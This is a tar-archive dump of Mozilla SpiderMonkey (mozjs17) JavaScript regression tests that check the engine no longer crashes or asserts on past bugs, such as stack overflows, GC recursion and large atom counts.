f('68413','68414','68415','68416'); f('68417','68418','68419','68420'); f('68421','68422','68423','68424'); f('68425','68426','68427','68428'); f('68429','68430','68431','68432'); f('68433','68434','68435','68436'); f('68437','68438','68439','68440'); f('68441','68442','68443','68444'); f('68445','68446','68447','68448'); f('68449','68450','68451','68452'); f('68453','68454','68455','68456'); f('68457','68458','68459','68460'); f('68461','68462','68463','68464'); f('68465','68466','68467','68468'); f('68469','68470','68471','68472'); f('68473','68474','68475','68476'); f('68477','68478','68479','68480'); f('68481','68482','68483','68484'); f('68485','68486','68487','68488'); f('68489','68490','68491','68492'); f('68493','68494','68495','68496'); f('68497','68498','68499','68500'); f('68501','68502','68503','68504'); f('68505','68506','68507','68508'); f('68509','68510','68511','68512'); f('68513','68514','68515','68516'); f('68517','68518','68519','68520'); f('68521','68522','68523','68524'); f('68525','68526','68527','68528'); f('68529','68530','68531','68532'); f('68533','68534','68535','68536'); f('68537','68538','68539','68540'); f('68541','68542','68543','68544'); f('68545','68546','68547','68548'); f('68549','68550','68551','68552'); f('68553','68554','68555','68556'); f('68557','68558','68559','68560'); f('68561','68562','68563','68564'); f('68565','68566','68567','68568'); f('68569','68570','68571','68572'); f('68573','68574','68575','68576'); f('68577','68578','68579','68580'); f('68581','68582','68583','68584'); f('68585','68586','68587','68588'); f('68589','68590','68591','68592'); f('68593','68594','68595','68596'); f('68597','68598','68599','68600'); f('68601','68602','68603','68604'); f('68605','68606','68607','68608'); f('68609','68610','68611','68612'); f('68613','68614','68615','68616'); f('68617','68618','68619','68620'); f('68621','68622','68623','68624'); f('68625','68626','68627','68628'); f('68629','68630','68631','68632'); f('68633','68634','68635','68636'); f('68637','68638','68639','68640'); f('68641','68642','68643','68644'); f('68645','68646','68647','68648'); f('68649','68650','68651','68652'); f('68653','68654','68655','68656'); f('68657','68658','68659','68660'); f('68661','68662','68663','68664'); f('68665','68666','68667','68668'); f('68669','68670','68671','68672'); f('68673','68674','68675','68676'); f('68677','68678','68679','68680'); f('68681','68682','68683','68684'); f('68685','68686','68687','68688'); f('68689','68690','68691','68692'); f('68693','68694','68695','68696'); f('68697','68698','68699','68700'); f('68701','68702','68703','68704'); f('68705','68706','68707','68708'); f('68709','68710','68711','68712'); f('68713','68714','68715','68716'); f('68717','68718','68719','68720'); f('68721','68722','68723','68724'); f('68725','68726','68727','68728'); f('68729','68730','68731','68732'); f('68733','68734','68735','68736'); f('68737','68738','68739','68740'); f('68741','68742','68743','68744'); f('68745','68746','68747','68748'); f('68749','68750','68751','68752'); f('68753','68754','68755','68756'); f('68757','68758','68759','68760'); f('68761','68762','68763','68764'); f('68765','68766','68767','68768'); f('68769','68770','68771','68772'); f('68773','68774','68775','68776'); f('68777','68778','68779','68780'); f('68781','68782','68783','68784'); f('68785','68786','68787','68788'); f('68789','68790','68791','68792'); f('68793','68794','68795','68796'); f('68797','68798','68799','68800'); f('68801','68802','68803','68804'); f('68805','68806','68807','68808'); f('68809','68810','68811','68812'); f('68813','68814','68815','68816'); f('68817','68818','68819','68820'); f('68821','68822','68823','68824'); f('68825','68826','68827','68828'); f('68829','68830','68831','68832'); f('68833','68834','68835','68836'); f('68837','68838','68839','68840'); f('68841','68842','68843','68844'); f('68845','68846','68847','68848'); f('68849','68850','68851','68852'); f('68853','68854','68855','68856'); f('68857','68858','68859','68860'); f('68861','68862','68863','68864'); f('68865','68866','68867','68868'); f('68869','68870','68871','68872'); f('68873','68874','68875','68876'); f('68877','68878','68879','68880'); f('68881','68882','68883','68884'); f('68885','68886','68887','68888'); f('68889','68890','68891','68892'); f('68893','68894','68895','68896'); f('68897','68898','68899','68900'); f('68901','68902','68903','68904'); f('68905','68906','68907','68908'); f('68909','68910','68911','68912'); f('68913','68914','68915','68916'); f('68917','68918','68919','68920'); f('68921','68922','68923','68924'); f('68925','68926','68927','68928'); f('68929','68930','68931','68932'); f('68933','68934','68935','68936'); f('68937','68938','68939','68940'); f('68941','68942','68943','68944'); f('68945','68946','68947','68948'); f('68949','68950','68951','68952'); f('68953','68954','68955','68956'); f('68957','68958','68959','68960'); f('68961','68962','68963','68964'); f('68965','68966','68967','68968'); f('68969','68970','68971','68972'); f('68973','68974','68975','68976'); f('68977','68978','68979','68980'); f('68981','68982','68983','68984'); f('68985','68986','68987','68988'); f('68989','68990','68991','68992'); f('68993','68994','68995','68996'); f('68997','68998','68999','69000'); f('69001','69002','69003','69004'); f('69005','69006','69007','69008'); f('69009','69010','69011','69012'); f('69013','69014','69015','69016'); f('69017','69018','69019','69020'); f('69021','69022','69023','69024'); f('69025','69026','69027','69028'); f('69029','69030','69031','69032'); f('69033','69034','69035','69036'); f('69037','69038','69039','69040'); f('69041','69042','69043','69044'); f('69045','69046','69047','69048'); f('69049','69050','69051','69052'); f('69053','69054','69055','69056'); f('69057','69058','69059','69060'); f('69061','69062','69063','69064'); f('69065','69066','69067','69068'); f('69069','69070','69071','69072'); f('69073','69074','69075','69076'); f('69077','69078','69079','69080'); f('69081','69082','69083','69084'); f('69085','69086','69087','69088'); f('69089','69090','69091','69092'); f('69093','69094','69095','69096'); f('69097','69098','69099','69100'); f('69101','69102','69103','69104'); f('69105','69106','69107','69108'); f('69109','69110','69111','69112'); f('69113','69114','69115','69116'); f('69117','69118','69119','69120'); f('69121','69122','69123','69124'); f('69125','69126','69127','69128'); f('69129','69130','69131','69132'); f('69133','69134','69135','69136'); f('69137','69138','69139','69140'); f('69141','69142','69143','69144'); f('69145','69146','69147','69148'); f('69149','69150','69151','69152'); f('69153','69154','69155','69156'); f('69157','69158','69159','69160'); f('69161','69162','69163','69164'); f('69165','69166','69167','69168'); f('69169','69170','69171','69172'); f('69173','69174','69175','69176'); f('69177','69178','69179','69180'); f('69181','69182','69183','69184'); f('69185','69186','69187','69188'); f('69189','69190','69191','69192'); f('69193','69194','69195','69196'); f('69197','69198','69199','69200'); f('69201','69202','69203','69204'); f('69205','69206','69207','69208'); f('69209','69210','69211','69212'); f('69213','69214','69215','69216'); f('69217','69218','69219','69220'); f('69221','69222','69223','69224'); f('69225','69226','69227','69228'); f('69229','69230','69231','69232'); f('69233','69234','69235','69236'); f('69237','69238','69239','69240'); f('69241','69242','69243','69244'); f('69245','69246','69247','69248'); f('69249','69250','69251','69252'); f('69253','69254','69255','69256'); f('69257','69258','69259','69260'); f('69261','69262','69263','69264'); f('69265','69266','69267','69268'); f('69269','69270','69271','69272'); f('69273','69274','69275','69276'); f('69277','69278','69279','69280'); f('69281','69282','69283','69284'); f('69285','69286','69287','69288'); f('69289','69290','69291','69292'); f('69293','69294','69295','69296'); f('69297','69298','69299','69300'); f('69301','69302','69303','69304'); f('69305','69306','69307','69308'); f('69309','69310','69311','69312'); f('69313','69314','69315','69316'); f('69317','69318','69319','69320'); f('69321','69322','69323','69324'); f('69325','69326','69327','69328'); f('69329','69330','69331','69332'); f('69333','69334','69335','69336'); f('69337','69338','69339','69340'); f('69341','69342','69343','69344'); f('69345','69346','69347','69348'); f('69349','69350','69351','69352'); f('69353','69354','69355','69356'); f('69357','69358','69359','69360'); f('69361','69362','69363','69364'); f('69365','69366','69367','69368'); f('69369','69370','69371','69372'); f('69373','69374','69375','69376'); f('69377','69378','69379','69380'); f('69381','69382','69383','69384'); f('69385','69386','69387','69388'); f('69389','69390','69391','69392'); f('69393','69394','69395','69396'); f('69397','69398','69399','69400'); f('69401','69402','69403','69404'); f('69405','69406','69407','69408'); f('69409','69410','69411','69412'); f('69413','69414','69415','69416'); f('69417','69418','69419','69420'); f('69421','69422','69423','69424'); f('69425','69426','69427','69428'); f('69429','69430','69431','69432'); f('69433','69434','69435','69436'); f('69437','69438','69439','69440'); f('69441','69442','69443','69444'); f('69445','69446','69447','69448'); f('69449','69450','69451','69452'); f('69453','69454','69455','69456'); f('69457','69458','69459','69460'); f('69461','69462','69463','69464'); f('69465','69466','69467','69468'); f('69469','69470','69471','69472'); f('69473','69474','69475','69476'); f('69477','69478','69479','69480'); f('69481','69482','69483','69484'); f('69485','69486','69487','69488'); f('69489','69490','69491','69492'); f('69493','69494','69495','69496'); f('69497','69498','69499','69500'); f('69501','69502','69503','69504'); f('69505','69506','69507','69508'); f('69509','69510','69511','69512'); f('69513','69514','69515','69516'); f('69517','69518','69519','69520'); f('69521','69522','69523','69524'); f('69525','69526','69527','69528'); f('69529','69530','69531','69532'); f('69533','69534','69535','69536'); f('69537','69538','69539','69540'); f('69541','69542','69543','69544'); f('69545','69546','69547','69548'); f('69549','69550','69551','69552'); f('69553','69554','69555','69556'); f('69557','69558','69559','69560'); f('69561','69562','69563','69564'); f('69565','69566','69567','69568'); f('69569','69570','69571','69572'); f('69573','69574','69575','69576'); f('69577','69578','69579','69580'); f('69581','69582','69583','69584'); f('69585','69586','69587','69588'); f('69589','69590','69591','69592'); f('69593','69594','69595','69596'); f('69597','69598','69599','69600'); f('69601','69602','69603','69604'); f('69605','69606','69607','69608'); f('69609','69610','69611','69612'); f('69613','69614','69615','69616'); f('69617','69618','69619','69620'); f('69621','69622','69623','69624'); f('69625','69626','69627','69628'); f('69629','69630','69631','69632'); f('69633','69634','69635','69636'); f('69637','69638','69639','69640'); f('69641','69642','69643','69644'); f('69645','69646','69647','69648'); f('69649','69650','69651','69652'); f('69653','69654','69655','69656'); f('69657','69658','69659','69660'); f('69661','69662','69663','69664'); f('69665','69666','69667','69668'); f('69669','69670','69671','69672'); f('69673','69674','69675','69676'); f('69677','69678','69679','69680'); f('69681','69682','69683','69684'); f('69685','69686','69687','69688'); f('69689','69690','69691','69692'); f('69693','69694','69695','69696'); f('69697','69698','69699','69700'); f('69701','69702','69703','69704'); f('69705','69706','69707','69708'); f('69709','69710','69711','69712'); f('69713','69714','69715','69716'); f('69717','69718','69719','69720'); f('69721','69722','69723','69724'); f('69725','69726','69727','69728'); f('69729','69730','69731','69732'); f('69733','69734','69735','69736'); f('69737','69738','69739','69740'); f('69741','69742','69743','69744'); f('69745','69746','69747','69748'); f('69749','69750','69751','69752'); f('69753','69754','69755','69756'); f('69757','69758','69759','69760'); f('69761','69762','69763','69764'); f('69765','69766','69767','69768'); f('69769','69770','69771','69772'); f('69773','69774','69775','69776'); f('69777','69778','69779','69780'); f('69781','69782','69783','69784'); f('69785','69786','69787','69788'); f('69789','69790','69791','69792'); f('69793','69794','69795','69796'); f('69797','69798','69799','69800'); f('69801','69802','69803','69804'); f('69805','69806','69807','69808'); f('69809','69810','69811','69812'); f('69813','69814','69815','69816'); f('69817','69818','69819','69820'); f('69821','69822','69823','69824'); f('69825','69826','69827','69828'); f('69829','69830','69831','69832'); f('69833','69834','69835','69836'); f('69837','69838','69839','69840'); f('69841','69842','69843','69844'); f('69845','69846','69847','69848'); f('69849','69850','69851','69852'); f('69853','69854','69855','69856'); f('69857','69858','69859','69860'); f('69861','69862','69863','69864'); f('69865','69866','69867','69868'); f('69869','69870','69871','69872'); f('69873','69874','69875','69876'); f('69877','69878','69879','69880'); f('69881','69882','69883','69884'); f('69885','69886','69887','69888'); f('69889','69890','69891','69892'); f('69893','69894','69895','69896'); f('69897','69898','69899','69900'); f('69901','69902','69903','69904'); f('69905','69906','69907','69908'); f('69909','69910','69911','69912'); f('69913','69914','69915','69916'); f('69917','69918','69919','69920'); f('69921','69922','69923','69924'); f('69925','69926','69927','69928'); f('69929','69930','69931','69932'); f('69933','69934','69935','69936'); f('69937','69938','69939','69940'); f('69941','69942','69943','69944'); f('69945','69946','69947','69948'); f('69949','69950','69951','69952'); f('69953','69954','69955','69956'); f('69957','69958','69959','69960'); f('69961','69962','69963','69964'); f('69965','69966','69967','69968'); f('69969','69970','69971','69972'); f('69973','69974','69975','69976'); f('69977','69978','69979','69980'); f('69981','69982','69983','69984'); f('69985','69986','69987','69988'); f('69989','69990','69991','69992'); f('69993','69994','69995','69996'); f('69997','69998','69999','70000'); actual = 'No Crash, No Error'; reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-167328.js0000664000175000017500000000143212106270663022261 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 167328; var summary = 'Normal error reporting code should fill Error object properties'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); expect = 'TypeError:19'; try { var obj = {toString: function() {return new Object();}}; var result = String(obj); actual = 'no error'; } catch(e) { actual = e.name + ':' + e.lineNumber; } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-299209.js0000664000175000017500000000126612106270663022272 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 299209; var summary = 'anonymous function expression statement => JS stack overflow'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); try { eval('for (a = 0; a <= 10000; a++) { function(){("");} }'); } catch(e) { } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-367561-03.js0000664000175000017500000000205612106270663022505 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 367561; var summary = 'JSOP_(GET|SET)METHOD and JSOP_SETCONST with > 64K atoms'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var N = 1 << 16; var src = 'var x = /'; var array = Array(); for (var i = 0; i != N/2; ++i) array[i] = i; src += array.join('/;x=/')+'/; x="'; src += array.join('";x="')+'";'; src += 'const some_const = 10'; eval(src); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-407024.js0000664000175000017500000000145112106270663022250 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 407024; var summary = 'Do not assert JSVAL_IS_NUMBER(pn3->pn_val) || JSVAL_IS_STRING(pn3->pn_val) || JSVAL_IS_BOOLEAN(pn3->pn_val)'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); eval("function f(x) { switch (x) { case Array: return 1; }}"); var result = f(Array); if (result !== 1) throw "Unexpected result: "+uneval(result); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-203278-1.js0000664000175000017500000000151012106270663022407 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 203278; var summary = 'Don\'t crash in recursive js_MarkGCThing'; var actual = 'FAIL'; var expect = 'PASS'; printBugNumber(BUGNUMBER); printStatus (summary); function test1() {} function test() { test1.call(this); } test.prototype = new test1(); var length = 512 * 1024 - 1; var obj = new test(); var first = obj; for(var i = 0 ; i < length ; i++) { obj.next = new test(); obj = obj.next; } actual = 'PASS'; reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-343966.js0000664000175000017500000000170012106270663022263 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 343966; var summary = 'ClearScope foo regressed due to bug 343417'; var actual = 'failed'; var expect = 'passed'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); Function["prototype"].inherits=function(a){}; function foo(){}; function bar(){}; foo.inherits(bar); actual = "passed"; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-419803.js0000664000175000017500000000156312106270663022264 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 419803; var summary = 'Do not assert: sprop->parent == scope->lastProp'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); for (var i=0; i<2; ++i) ({ p: 5, p: 7 }); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-294302.js0000664000175000017500000000127312106270663022255 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 294302; var summary = 'JS Shell load should throw catchable exceptions'; var actual = 'Error not caught'; var expect = 'Error caught'; printBugNumber(BUGNUMBER); printStatus (summary); try { load('foo.js'); } catch(ex) { actual = 'Error caught'; printStatus(actual); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-98901.js0000664000175000017500000014544212106270663022213 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 98901; var summary = 'Stack overflow concatenating variables'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); UNID=""; shrg="0"; EMAL=""; PASS=""; PASV=""; FNAM=""; LNAM=""; ADD1=""; ADD2=""; CITY=""; STAT=""; STATi=0; ZIPC=""; PHON=""; AGE2=""; AGE2i=0; AGES=""; SEXX=""; SEXXi=-1; OCCU=""; OCCUi=0; OCCO=""; MODL=""; SRNU=""; MNTH=""; MNTHi=0; YEAR=""; YEARi=0; POPR=""; POPRi=0; OPOP=""; WHEN=""; WHENi=-1; INFL=""; INFLi=0; HM01=""; HM02=""; HM03=""; HM04=""; HM05=""; HM06=""; HM07=""; HM08=""; HM09=""; HM10=""; HM11=""; HM12=""; HM13=""; HM14=""; HM15=""; HM16=""; HM17=""; HM18=""; HM19=""; HM20=""; HM21=""; HM22=""; HM23=""; HM24=""; HS01=""; HS02=""; HS03=""; HS04=""; HS05=""; HS06=""; HS07=""; HS08=""; HS09=""; HS10=""; HS11=""; HS12=""; HS13=""; HS14=""; HS15=""; HS16=""; HS17=""; HS18=""; HS19=""; HS20=""; HS21=""; HS22=""; HS23=""; HS24=""; PL01=""; PL01i=-1; PL02=""; PL02i=-1; PL03=""; PL03i=-1; PL04=""; PL04i=-1; PL05=""; PL05i=-1; PL06=""; PL06i=-1; PL07=""; PL07i=-1; PL08=""; PL08i=-1; PL09=""; PL09i=-1; PL10=""; PL10i=-1; PL11=""; PL11i=-1; PL12=""; PL12i=-1; PL13=""; PL13i=-1; PL14=""; PL14i=-1; PL15=""; PL15i=-1; PL16=""; PL16i=-1; PL17=""; PL17i=-1; PL18=""; PL18i=-1; PL19=""; PL19i=-1; PL20=""; PL20i=-1; PL21=""; PL21i=-1; PL22=""; PL22i=-1; PL23=""; PL23i=-1; PL24=""; PL24i=-1; TVSO=""; TVSOi=-1; FNDS=""; FNDSi=-1; WGFT=""; WGFTi=0; CE01=""; CE01i=-1; CE02=""; CE02i=-1; NEMA="Yes"; NEMAi=0; PPUR=""; PPURi=-1; PPUO=""; CON1=""; CON2=""; CON3=""; STNM=""; STNMi=0; FE01=""; FE01i=0; FE02=""; FE03=""; FE04=""; FE05=""; FE06=""; FE07=""; FE08=""; FE09=""; FE10=""; FE11=""; FE12=""; FE13=""; FE14=""; FE15=""; FE16=""; FE17=""; FE18=""; FE19=""; FE20=""; FE21=""; FE22=""; FE23=""; FE24=""; FE25=""; FE26=""; FE27=""; FE28=""; FE29=""; FE30=""; FE31=""; FE32=""; FE33=""; FE34=""; FEOT=""; NF01=""; NF02=""; NF03=""; NF04=""; NF05=""; NF06=""; NF07=""; NF08=""; NF09=""; NF10=""; NF11=""; NF12=""; NF13=""; NF14=""; NF15=""; NF16=""; NF17=""; NF18=""; NF19=""; NFOT=""; OSYS=""; OSYSi=0; OSOT=""; IMGS=""; PBY1=""; PBY2=""; PBY3=""; PBY4=""; PBY5=""; PBY6=""; PBY7=""; PBY8=""; OPBY=""; OWNC=""; OWNCi=-1; CUSE=""; CUSEi=-1; OCUS=""; WCAM=""; WCAMi=0; OC01=""; OC02=""; OC03=""; OC04=""; OC05=""; OC06=""; OC07=""; OC08=""; OC09=""; OC10=""; OC11=""; CU01=""; CU02=""; CU03=""; CU04=""; CU05=""; CU06=""; CU07=""; CU08=""; CU09=""; CU10=""; PLYB=""; PLYBi=0; CCON=""; CCONi=0; BC01=""; BC02=""; BC03=""; BC04=""; BC05=""; BC06=""; IN01=""; IN02=""; IN03=""; IN04=""; IN05=""; IN06=""; IN07=""; IN08=""; IN09=""; IN10=""; IN11=""; IN12=""; IN13=""; IN14=""; IN15=""; FI01=""; FI02=""; FI03=""; FI04=""; FI05=""; FI06=""; FI07=""; FI08=""; FI09=""; FI10=""; FI11=""; FI12=""; FI13=""; FI14=""; FI15=""; FI16=""; FI17=""; FI18=""; FI19=""; FI20=""; FI21=""; FI22=""; FI23=""; FI24=""; FI25=""; FI26=""; FI27=""; FI28=""; FI29=""; FI30=""; FI31=""; FI32=""; FI33=""; FI34=""; FI35=""; FI36=""; FI37=""; FI38=""; FI39=""; FI40=""; FI41=""; FI42=""; FI43=""; FI44=""; FI45=""; FI46=""; FI47=""; FI48=""; FI49=""; FI50=""; FI51=""; FI52=""; FI53=""; FI54=""; FI55=""; FI56=""; FI57=""; FI58=""; FF01=""; FF02=""; FF03=""; FF04=""; FF05=""; FF06=""; FF07=""; FF08=""; FF09=""; FF10=""; FF11=""; FF12=""; FF13=""; FF14=""; FF15=""; FF16=""; FF17=""; FF18=""; FF19=""; FF20=""; FF21=""; FF22=""; PPQT=""; PPQTi=-1; PSQT=""; PSQTi=-1; LCDQ=""; LCDQi=-1; NITQ=""; NITQi=-1; NTSQ=""; NTSQi=-1; GENQ=""; GENQi=-1; DSNQ=""; DSNQi=-1; OPMQ=""; OPMQi=-1; PRCQ=""; PRCQi=-1; BATQ=""; BATQi=-1; CMPQ=""; CMPQi=-1; DSCQ=""; DSCQi=-1; MSSQ=""; MSSQi=-1; MSIQ=""; MSIQi=-1; PGSQ=""; PGSQi=-1; PCPQ=""; PCPQi=-1; AO01=""; AO02=""; AO03=""; AO04=""; AO05=""; AO06=""; AO07=""; AO08=""; AO09=""; AO10=""; AO11=""; AO12=""; AO13=""; AO14=""; AO15=""; AO16=""; AO17=""; AO18=""; AO19=""; AO20=""; AO21=""; AO22=""; AO23=""; AO24=""; AO25=""; AO26=""; AO27=""; AO28=""; AO29=""; AO30=""; AO31=""; AO32=""; AO33=""; AO34=""; AO35=""; IS01=""; IS02=""; IS03=""; IS04=""; IS05=""; IS06=""; IS07=""; IS08=""; IS09=""; IS10=""; IS11=""; IS12=""; IS13=""; IS14=""; IS15=""; IS16=""; IS17=""; IS18=""; IS19=""; IS20=""; IS21=""; IS22=""; IS23=""; IS24=""; IS25=""; IS26=""; IS27=""; IS28=""; IS29=""; IS30=""; IS31=""; IS32=""; IS33=""; IS34=""; IS35=""; B601=""; B602=""; B603=""; B604=""; B605=""; B606=""; B607=""; B608=""; B609=""; B610=""; B611=""; B612=""; B613=""; B614=""; B615=""; B616=""; B617=""; B618=""; B619=""; B620=""; B621=""; B622=""; B623=""; B624=""; B625=""; B626=""; B627=""; B628=""; B629=""; B630=""; B631=""; B632=""; B633=""; B634=""; B635=""; CTYP=""; CTYPi=-1; AO36=""; AO37=""; IS36=""; IS37=""; B636=""; B637=""; FA01=""; FA02=""; FA03=""; FA04=""; FA05=""; FA06=""; FA07=""; FA08=""; FA09=""; FA10=""; FA11=""; FA12=""; FA13=""; FA14=""; FA15=""; FA16=""; FA17=""; FA18=""; FA19=""; FA20=""; FA21=""; FA22=""; FA23=""; FA24=""; FA25=""; FA26=""; FA27=""; SI01=""; SI02=""; SI03=""; SI04=""; SI05=""; SI06=""; SI07=""; SI08=""; SI09=""; SI10=""; SI11=""; SI12=""; SI13=""; SI14=""; SI15=""; SI16=""; SI17=""; SI18=""; SI19=""; SI20=""; SI21=""; SI22=""; SI23=""; SI24=""; SI25=""; SI26=""; SI27=""; SI28=""; SI29=""; SI30=""; SI31=""; SI32=""; SI33=""; SI34=""; SI35=""; SI36=""; SI37=""; SI38=""; SI39=""; SI40=""; SI41=""; II01=""; II02=""; II03=""; II04=""; II05=""; II06=""; II07=""; II08=""; II09=""; II10=""; II11=""; OB01=""; OB02=""; OB03=""; OB04=""; PUCO=""; SF01=""; SF02=""; SF03=""; SF04=""; SF05=""; SF06=""; SF07=""; SF08=""; SF09=""; SF10=""; SF11=""; SF12=""; SF13=""; SF14=""; SF15=""; SF16=""; SF17=""; SF18=""; SF19=""; SF20=""; SF21=""; SF22=""; SF23=""; SF24=""; SF25=""; SF26=""; SF27=""; SF28=""; SF29=""; SF30=""; SF31=""; SF32=""; SF33=""; SF34=""; SF35=""; SF36=""; SF37=""; SF38=""; SF39=""; SF40=""; SF41=""; SF42=""; SF43=""; SF44=""; SF45=""; SF46=""; SF47=""; SF48=""; SF49=""; FA28=""; FA29=""; FA30=""; FA31=""; II12=""; II13=""; II14=""; AO38=""; IS38=""; B638=""; PRMU=""; PRMUi=0; PRMO=""; CAMU=""; CAMUi=0; CAMO=""; INDU=""; INDUi=0; INDO=""; INDH=""; II15=""; II16=""; II17=""; II18=""; II19=""; II20=""; PLYP=""; PLYPi=0; WEDT=""; WEDTi=0; FM01=""; FM02=""; FM03=""; FM04=""; FM05=""; FM06=""; FM07=""; FM08=""; FM09=""; FM10=""; FM11=""; FM12=""; FM13=""; FM14=""; FM15=""; FM16=""; FM17=""; FM18=""; FM19=""; FM20=""; FM21=""; FM22=""; FM23=""; FM24=""; FM25=""; FM26=""; FM27=""; FL01=""; FL02=""; FL03=""; FL04=""; FL05=""; FL06=""; FL07=""; FL08=""; FL09=""; FL10=""; FL11=""; FL12=""; FL13=""; FL14=""; FL15=""; FL16=""; FL17=""; FL18=""; FL19=""; FL20=""; FL21=""; FL22=""; FL23=""; FL24=""; FL25=""; FL26=""; FL27=""; AE01=""; AE02=""; AE03=""; AE04=""; AE05=""; AE06=""; AE07=""; AE08=""; AE09=""; AE10=""; AG01=""; AG02=""; AG03=""; AG04=""; AG05=""; AG06=""; AG07=""; AG08=""; AG09=""; AG10=""; AF01=""; AF02=""; AF03=""; AF04=""; AF05=""; AF06=""; AF07=""; AF08=""; AF09=""; AF10=""; AP01=""; AP02=""; AP03=""; AP04=""; AP05=""; AP06=""; AP07=""; AP08=""; AP09=""; AP10=""; BA01=""; BA02=""; BA03=""; BA04=""; BA05=""; BA06=""; BA07=""; BA08=""; BA09=""; BA10=""; BA11=""; BA12=""; BA13=""; BA14=""; BA15=""; CNCT=""; CNCTi=-1; TCNT=""; TCNTi=0; OCNT=""; OCNTi=0; CMNT=""; PTYP=""; PTYPi=0; REPS=""; REPSi=0; REPO=""; SDIS=""; SDISi=0; SDSO=""; WUSE=""; WUSEi=0; WUSO=""; RF01=""; RF02=""; RF03=""; RF04=""; RF05=""; RF06=""; RF07=""; RF08=""; RFOT=""; MOUF=""; MOUFi=0; MOFO=""; CO01=""; CO02=""; CO03=""; CO04=""; CO05=""; CO06=""; CO07=""; WC01=""; WC02=""; WC03=""; WC04=""; WC05=""; WC06=""; WC07=""; DVDS=""; CDDS=""; MINI=""; RCRD=""; TAPE=""; FDVD=""; FDVDi=-1; ODVD=""; NCHD=""; NCHDi=0; INCM=""; INCMi=0; HTYP=""; HTYPi=-1; AOLE=""; AOLEi=-1; COLE=""; COLEi=-1; OOLE=""; HM25=""; HM26=""; HM27=""; HS25=""; HS26=""; HS27=""; PL25=""; PL25i=-1; PL26=""; PL26i=-1; PL27=""; PL27i=-1; IF01=""; IF01i=0; IF02=""; IF03=""; IF04=""; IF05=""; IF06=""; IF07=""; IF08=""; IF09=""; IF10=""; IF11=""; IF12=""; IF13=""; IF14=""; IF15=""; IF16=""; IF17=""; IF18=""; IF19=""; IF20=""; IF21=""; IF22=""; IF23=""; IF24=""; IF25=""; IF26=""; IF27=""; IF28=""; IF29=""; IF30=""; IF31=""; IF32=""; 